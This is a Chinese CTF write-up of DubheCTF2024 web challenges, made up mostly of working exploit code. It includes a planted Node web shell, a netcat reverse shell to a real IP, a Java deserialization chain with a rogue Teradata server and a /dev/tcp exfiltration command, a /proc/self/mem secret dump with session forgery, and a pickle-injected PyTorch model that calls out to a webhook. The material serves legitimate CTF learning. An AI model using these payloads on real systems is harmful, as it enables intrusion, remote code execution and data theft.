DubheCTF2024复现
LastUpdate: 2024-04-02
前言
这个比赛不知道为什么就喜欢用 PoW 开题,不过题目都出的挺好的,而且难度从简单到难都有覆盖。
Wecat
开环境的PoW脚本:
import hashlib
import string
import itertools
from pwn import remote
def proof_of_work(nonce, difficulty, salt_charset=string.ascii_letters + string.digits):
nonce_byte = nonce.encode()
expected_prefix = "0" * difficulty
for salt in itertools.chain.from_iterable(map(bytes, itertools.product(salt_charset.encode(), repeat=i))for i in itertools.count(1)):if hashlib.sha256(nonce_byte + salt).hexdigest().startswith(expected_prefix):return salt
raise ValueError("No solution found")
r = remote("1.95.54.149", 1337)
welcome_msg = r.recvuntil(b"== True").decode()print(welcome_msg)
nonce = welcome_msg.split("'")[1]
difficulty = 5
salt = proof_of_work(nonce, difficulty)print(f"Salt: {salt.decode()}")
r.sendline(salt)print("Entering interactive mode...")
r.interactive()
有上传头像图片接口,由于配置是js dev nodemon热加载所以直接尝试写web shell
const router = require('@koa/router')()
const child_process = require('child_process')
router.get('/mysid', (ctx) => {
var flag = child_process.execFileSync("/readflag").toString()
ctx.status = 200
ctx.body = {
msg: flag
}
})
module.exports = router.routes()
Master of Profile
开题PoW脚本:
import hashlib
import string
import itertools
import string
from pwn import *
def proof_of_work(repeat, hash):
combinations = itertools.product(string.ascii_letters, repeat=repeat)
for combination in combinations:
res = "".join(combination)
if (hashlib.sha256(("Welcome to DubheCTF! POW is: " + res).encode()).hexdigest() == hash):
return res
def p(hash):
return proof_of_work(5,hash)
io = remote("1.95.13.243",1337)
hash = io.recvuntil(b"Timeout: 60s").split(b" = ")[1].replace(b'Timeout: 60s',b'').strip().decode()
print(hash)
pow = p(hash)
print(pow)
io.sendline(pow)
info = io.recvuntil(b'======================================')
print(info.decode())
port = re.findall(r'Your port: (\d+)',info.decode())[0]
port = int(port)
print(port)
源码https://github.com/tindy2013/subconverter/blob/master/src/main.cpp
题目的描述是subconverter 0day,虽然是C++项目但是和语言没啥关系,利用过程类似这两篇文章https://cn-sec.com/archives/2105254.html,https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03。
/getlocal?path=./pref.yml
从配置可以读到token,另外enable_cache: false
禁止生成缓存。
common:
api_mode: false
api_access_token: "189069462103782304169366230"
default_url: []
enable_insert: true 1 2 3 4 5
insert_url: []
prepend_insert_url: true
advanced:
log_level: info
print_debug_info: false
max_pending_connections: 10240
max_concurrent_threads: 2
max_allowed_rulesets: 0
max_allowed_rules: 0
max_allowed_download_size: 0
enable_cache: false
cache_subscription: 60
cache_config: 300
cache_ruleset: 21600
script_clean_context: true
async_fetch_ruleset: false
skip_failed_links: false
然后在源码中找到updateconf接口可以上传文件。
webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
{
if(!global.accessToken.empty())
{
std::string token = getUrlArg(request.argument, "token");
if(token != global.accessToken)
{
response.status_code = 403;
return "Forbidden\n";
}
}
std::string type = getUrlArg(request.argument, "type");
if(type == "form")
fileWrite(global.prefPath, getFormData(request.postdata), true);
else if(type == "direct")
fileWrite(global.prefPath, request.postdata, true);
else
{
response.status_code = 501;
return "Not Implemented\n";
}
readConf();
if(!global.updateRulesetOnRequest)
refreshRulesets(global.customRulesets, global.rulesetsContent);
return "done\n";
});
上传后可以在cache里找到对应的缓存文件/convert?url=cache/7bcd6cb5eb2b33a88b
,缓存文件名md5值,接着就可以弹shell了/sub?target=clash&url=script:cache/7bcd6cb5eb2b33a88b,1&token=189069462103782304169366230
。
function parse(x) {
console.log("success");
os.exec(["/usr/bin/nc", "119.1.208.190", "4000", "-e", "/bin/sh"]);
}
Javolution
涉及整数溢出、反序列化TeraData RCE。
帕鲁背景,要求先打败空涡龙升到50级,有修改数值接口可以整数溢出/pal/cheat?hp=1&attack=-2147483648&defense=-2147483648
。
然后host限制可以用::FFFF:127.0.0.1%dubhe
绕过。
@PostMapping({"/cheat"})
public String cheatPlus(String host, String data) {
String secretKey = "dubhe";
if (this.palService.getPlayer().getLevel() >= 50 && host != null) {
boolean local;
try {
InetAddress address = InetAddress.getByName(host);
local = address.isLoopbackAddress();
} catch (Exception e) {
return "Bad Host!";
}
if (local && host.contains(secretKey)) {
this.palService.genPal(data);
return "You are now invincible !";
}
return "Only localhost is allowed to cheat !";
}
return "You are too young to cheat !";
}
}
接下来就是考虑如何反序列化RCE,环境使用的是jdk17。
<properties>
<java.version>17</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.7.6</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.teradata.jdbc</groupId>
<artifactId>terajdbc</artifactId>
<version>20.00.00.16</version>
</dependency>
</dependencies>
public class PalDataSource extends TeraDataSource {
public Connection getConnection(String username, String password) throws SQLException {
setDatabaseName("palworld");
setDescription("PalWorld Database");
setServerName("ctf");
setLoginTimeout(3);
setDSName("127.0.0.1");
return super.getConnection(username, password);
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
参考略师傅的https://github.com/luelueking/Deserial_Sink_With_JDBC。
主要调用链:hashMap#equals -> XString#equals -> POJONode#toString -> PalDataSource#getConnection
import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraConnectionPoolDataSource;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import com.teradata.jdbc.TeraPooledConnection;
import org.assertj.core.util.xml.XmlStringPrettyFormatter;
import org.dubhe.javolution.pool.PalDataSource;
import org.mockito.internal.matchers.Equals;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.util.*;
public class exp {
public static void main(String[] args) throws Exception {
// com.sun.org.apache.xpath.internal.objects.XString
// --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
classes.add(Class.forName("java.util.HashMap"));
classes.add(Class.forName("java.util.Properties"));
classes.add(Class.forName("java.util.PriorityQueue"));
classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
classes.add(Class.forName("java.util.HashMap$Node"));
classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
// classes.add(Class.forName("java.xml.*"));
new exp().bypassModule(classes);
TeraDataSource dataSource = new PalDataSource();
dataSource.setBROWSER("bash -c /readflag>&/dev/tcp/your_vps_ip/4000");
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("8.134.216.221");
dataSource.setDbsPort("10250");
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = dataSource.getClass().getModule();
Class currentClass = PriorityQueue.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
Class<?> clazz =
Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
InvocationHandler handler = (InvocationHandler)
cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
{DataSource.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);
// POJONode pojoNode = new POJONode(dataSource);
// pojoNode.toString();
// com.sun.org.apache.xpath.internal.objects
Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor constructor = cls.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object xString = constructor.newInstance("1");
HashMap hashMap = makeMap(xString,pojoNode);
serialize(hashMap);
// unserialize("ser.bin");
}
public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);
HashMap<Object, Object> s = new HashMap<>();
setFiledValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFiledValue(s, "table", tbl);
return s;
}
public static void setFiledValue(Object obj, String key, Object val) throws Exception {
Field field ;
try{
field = obj.getClass().getDeclaredField(key);
}catch(Exception e){
if (obj.getClass().getSuperclass() != null)
field = obj.getClass().getSuperclass().getDeclaredField(key);
else {
return;
}
}
field.setAccessible(true);
field.set(obj,val);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}
参考论文https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf
接下来在vps上伪造一个Teradata Server和靶机建立连接,欺骗客户端认为OIDC已经配置好了然后执行SSO命令RCE。
"""
返回验证成功握手数据,欺骗客户端认为OIDC已经启用然后去获取配置
"""
import asyncore
import logging
import socket
import struct
config_url="http://your_vps_ip:4100/m"
class teradata_request_handler(asyncore.dispatcher_with_send):
def __init__(self, sock, addr, url):
asyncore.dispatcher_with_send.__init__(self, sock=sock)
self.addr = addr
self.packet_to_send = bytes.fromhex('03020a0000070000')+struct.pack(">H",len(url)+899)+bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+struct.pack(">H",len(url)+87)+bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+struct.pack(">H",len(url)+11)+bytes.fromhex('000372636500')+struct.pack("B",len(url))+url.encode("ascii")+bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a')
self.ibuffer = []
def handle_read(self):
data = self.recv(8192)
if data:
logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)
class TeradataServer(asyncore.dispatcher):
def __init__(self, host, port):
asyncore.dispatcher.__init__(self)
self.create_socket()
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
logging.info(f'Server running on {host}:{port}')
def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
handler = teradata_request_handler(sock, addr, config_url)
if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
server = TeradataServer('0.0.0.0', 10250)
asyncore.loop()
"""
返回配置通过OIDC验证,执行setBROWSER的命令
"""
from flask import Flask
import json
app = Flask(__name__)
@app.route("/m")
@app.route("/m/.well-known/openid-configuration")
def h():
dddata={
"authorization_endpoint":"mysid",
"token_endpoint":"vidar"
}
return json.dumps(dddata)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0',port=4100)
#等待靶机执行bash -c /readflag>&/dev/tcp/your_vps_ip/4000
nc -lvp 4000
VulnTagger
涉及内存泄露、身份伪造、python内存马、pickle发序列化漏洞。
存在目录遍历漏洞,结合题目给出的版本管理提示查看/static%2f..%2f..%2f..%2f.git%2fHEAD
,可以使用githacker dump源码https://github.com/WangYihang/GitHacker。
网站提供ai图像识别,审计源码发现admin可以上传module,尝试伪造admin。
PASSWORD_SALT = "subscribe_taffy_thanks_meow!"
SALTED_PASSWORD = environ.get("SALTED_PASSWORD", "")
CredentialsDep = Annotated[
HTTPBasicCredentials | None,
Depends(HTTPBasic(auto_error=False)),
]
def authorization_middleware(credentials: CredentialsDep):
if not SALTED_PASSWORD:
logger.warning(
"SALTED_PASSWORD not set, you will not be able to access admin page"
)
if credentials is not None and (
compare_digest(credentials.username, "admin")
and compare_digest(
hashlib.sha256(
f"{PASSWORD_SALT}{credentials.password}{PASSWORD_SALT}".encode()
).hexdigest(),
SALTED_PASSWORD,
)
):
app.storage.browser["is_admin"] = True
is_admin = app.storage.browser.get("is_admin", False)
if not is_admin:
raise HTTPException(
status_code=401,
detail="Unauthorized",
headers={"WWW-Authenticate": "Basic"},
)
return is_admin
一种方法是尝试读SALTED_PASSWORD,然后爆破密码,但是这个方法是行不通的,因为实际上SALTED_PASSWORD是空字符串登录不了的(
第二种方法是伪造is_admin=true,类似伪造JWT。
ui.run(
host=environ.get("HOST"),
port=int(environ.get("PORT", 8080)),
title="VulnTagger",
storage_secret=secrets.token_urlsafe(16),
show=False,
uvicorn_logging_level="info",
log_config={
"version": 1,
"disable_existing_loggers": False,
"handlers": {
"console": {
"class": "rich.logging.RichHandler",
"formatter": "console",
},
},
"formatters": {
"console": {
"format": "%(message)s",
},
},
"root": {
"level": "DEBUG",
"handlers": ["console"],
},
},
access_log=True,
)
签名的storage_secret是一个22位由大小写字母、数字和-_组成的字符串,接下来就是尝试从/proc/self/mem里读取到storage_secret。
"""
提取进程的内存映射信息
实例:
MemoryMapping(addr_start='00400000', addr_end='0041f000', perms='r--p', offset='00000000', dev='103:02', inode='56125009', pathname='/usr/bin/python3.11')
"""
import re
from dataclasses import dataclass
from typing import List
@dataclass
class MemoryMapping:
addr_start: str
addr_end: str
perms: str
offset: str
dev: str
inode: str
pathname: str = None
def parse_proc_maps(maps:str) -> List[MemoryMapping]:
lines = maps.splitlines()
mappings = []
for line in lines:
# regex to match the different parts of a line
match = re.match(r'([0-9a-f]+)-([0-9a-f]+) (\S+) ([0-9a-f]+) (\S+):(\S+) (\d+)(?: *(.*))?', line)
if match:
groups = match.groups()
mapping = MemoryMapping(
addr_start=groups[0],
addr_end=groups[1],
perms=groups[2],
offset=groups[3],
dev=groups[4] + ':' + groups[5],
inode=groups[6],
pathname=groups[7].strip() if groups[7] else None
)
mappings.append(mapping)
return mappings
"""
发包分块读取mem
"""
import requests
from time import sleep
import urllib.request
import re
import socket
import time
from maps_parser import parse_proc_maps
url = "/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/mem"
maps = "http://1.95.11.7:40721/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/maps"
r = requests.get(maps)
print(r.text)
maps_parsed = parse_proc_maps(r.text)
import os
os.makedirs("./out",exist_ok=True)
os.system("rm out/*")
def read(start_mem_int,end_mem_int):
with socket.create_connection(("1.95.11.7", 40721)) as sock:
request = f"GET {url} HTTP/1.1\r\nHost: 1.95.11.7:40721\r\nUpgrade-Insecure-Requests: 1\r\nRange: bytes={start_mem_int}-{end_mem_int}\r\nConnection: close\r\n\r\n"
sock.sendall(request.encode())
response = b''
while t:=sock.recv(8192):
response+=t
assert b'title>VulnTagger</title' not in response
return response.split(b"\r\n\r\n",1)[1]
for item in maps_parsed:
if item.pathname != None: continue
if item.perms != "rw-p":continue
start_mem_int,end_mem_int = int(item.addr_start,16),int(item.addr_end,16)
size = end_mem_int - start_mem_int
if size >= 10*1024*1024: continue
print(item.addr_start,item.addr_end,item.perms,size,size/1024/1024,"MB")
filename = f'{item.addr_start}_{item.addr_end}_{str(item.pathname)}'.replace("/","_")
print(filename)
outfile = os.path.join("./out",filename)
with open(outfile,"wb") as outfile:
outfile.write(read(start_mem_int,end_mem_int))
"""
对结果进一步处理提取storage_secret
"""
#filter_strings.py
import string
import os
b64charset = string.ascii_letters + string.digits + "_-"
def isbase64safe(str):
return all(x in b64charset for x in str)
os.system('strings -n 22 out/* > /tmp/strings.txt')
with open("./false_positives.txt") as f:
false_positives = f.readlines()
false_positives = list(x.strip() for x in false_positives)
result = set()
with open("/tmp/strings.txt","r") as file:
for line in file:
l = line[:-1]
if len(l) == 22 and isbase64safe(l):
if l not in false_positives:
result.add(l)
for item in result:
print(item)
然后在本地跑nicegui就可以伪造admin session。
"""
nicegui_Sever
"""
from nicegui import ui
from nicegui import app
@ui.page('/mysid')
def evil_page():
app.storage.browser["is_admin"] = True
ui.label('Welcome mysid')
ui.link('mysid', evil_page)
import sys
secret_token=sys.argv[1]
ui.run(port=8082,storage_secret=secret_token,show=False)
"""
获取admin cookie
"""
import subprocess
import sys
secret_token=sys.argv[1]
p = subprocess.Popen(["python3","nicegui_Sever.py",secret_token])
import time
time.sleep(5)
import requests
resp = requests.get("http://127.0.0.1:8082/mysid")
print(resp.cookies)
p.terminate()
接下来就是上传module文件,其中包含序列化数据,torch.load()
会进行反序列化存在漏洞,但是这里还要通过一个bot的pow。
@catch_exception
def validate(difficulty: int = 4, token: str | None = None):
resp = client.post(
"/",
headers={
"x-pow-token": (token := token or token_urlsafe()),
"x-pow-difficulty": str(difficulty),
},
)
if resp.status_code != 418:
logger.debug("Failed to validate with status code %d", resp.status_code)
return False
try:
data: str = resp.json()["bar"]
except Exception:
logger.debug("Failed to validate with invalid JSON")
return False
return (
hashlib.sha256(token.encode() + data.encode())
.hexdigest()
.startswith("0" * difficulty)
)
def main():
difficulty = 4
while True:
if validate(difficulty): # noqa: SIM102
if all(validate(difficulty) for _ in range(difficulty)):
break
logger.info("Failed to validate with difficulty %d", difficulty)
time.sleep(10)
logger.info("Successfully validated with difficulty %d", difficulty)
with subprocess.Popen(["/readflag"], stdout=subprocess.PIPE) as proc:
assert proc.stdout is not None
for line in proc.stdout:
flag = line.decode().strip()
validate(difficulty, flag)
logger.info("Flag submitted")
构造内存马:
"""
生成包含序列化middleware数据的module
"""
from pathlib import Path
import torch
import torchvision.models as models
from fickling.pytorch import PyTorchModelWrapper
model = models.mobilenet_v2()
torch.save(model, "exp.pth")
result = PyTorchModelWrapper(Path("exp.pth"))
payload = open("./pass_bot.py").read()
result.inject_payload(
payload,
Path("temp.pt"),
injection="insertion",
overwrite=True,)
from pathlib import Path
import torch
import torchvision.models as models
from fickling.pytorch import PyTorchModelWrapper
model = models.mobilenet_v2()
torch.save(model, "exp.pth")
result = PyTorchModelWrapper(Path("exp.pth"))
payload = open("./pass_bot.py").read()
result.inject_payload(
payload,
Path("temp.pt"),
injection="insertion",
overwrite=True,)
#pass_bot.py
"""
计算pow的middleware
"""
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
app.middleware_stack = None
@app.middleware("http")async
def add_process_time_header(request: Request, call_next):
def proof_of_work(difficulty, token):
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
combinations = itertools.product(string.ascii_letters, repeat=5)
for combination in combinations:
res = "".join(combination)
if (hashlib.sha256((token + res).encode()).hexdigest().startswith("0"*difficulty)):
return res
import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools
logger = getLogger("mysid")
response = await call_next(request)
x_pow_token = request.headers.get("x-pow-token")
x_pow_difficulty = request.headers.get("x-pow-difficulty")
if x_pow_token and x_pow_difficulty:
try:
with urllib.request.urlopen("http://webhook?flag="+x_pow_token) as response:
pass
except:
pass
logger.warning("pow: %s %s" %(x_pow_difficulty,x_pow_token))
pow = proof_of_work(int(x_pow_difficulty),x_pow_token)
logger.warning("calculated pow:%s"%pow)
return Response(json.dumps({"bar":pow}),418)
return response
上传module后在主页选择你上传的module就会调用torch.load()
反序列化注入middleware,然后bot通过pow验证把flag发送到webhook上。
Tagebuch
涉及CSS注入、CSP绕过、XSS。
源码+官方wp:https://github.com/mix-archive/Tagebuch
flag在cookie里XSS的话就有办法拿到flag,关键在于使用了CSP策略禁止了没有nonce的js脚本运行,首先了解CSS注入https://dummykitty.github.io/css/2023/12/12/CSS-injection.html,思路是利用CSS注入窃取nonce然后XSS拿flag,利用过程官方wp写的十分详细可以学一手。